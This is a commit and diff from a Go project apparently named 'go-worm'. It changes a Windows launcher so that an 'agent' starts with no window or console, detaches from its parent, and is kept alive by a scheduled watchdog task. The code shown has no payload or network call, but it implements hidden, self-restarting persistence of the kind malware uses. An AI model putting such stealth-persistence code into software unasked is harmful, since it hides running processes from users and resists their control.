fix(startup): make watchdog task keep agent alive

- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex
This commit is contained in:
2026-09-01 23:12:22 +03:00
parent e7982c5487
commit e74f74bc4e
20 changed files with 365 additions and 91 deletions
+11 -24
View File
@@ -5,15 +5,13 @@ package instance
import (
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Launch starts exe detached with no visible window or console IO.
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
// the child alive after the parent (e.g. a scheduled task) exits.
func Launch(exe string, args []string) error {
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
@@ -26,33 +24,22 @@ func Launch(exe string, args []string) error {
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW |
windows.CREATE_NEW_PROCESS_GROUP |
windows.DETACHED_PROCESS,
}
return cmd.Start()
if err := cmd.Start(); err != nil {
return err
}
return cmd.Process.Release()
}
// RestartSelf launches a fresh agent process (no mutex check).
func RestartSelf() error {
exe, err := config.InstalledExe()
exe, err := os.Executable()
if err != nil {
return err
}
return Launch(exe, nil)
}
func filterArgs(args []string) []string {
out := make([]string, 0, len(args))
for _, arg := range args {
name := strings.TrimLeft(arg, "-/")
lower := strings.ToLower(name)
switch {
case lower == "background" || strings.HasPrefix(lower, "background="):
continue
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
continue
}
out = append(out, arg)
}
return out
}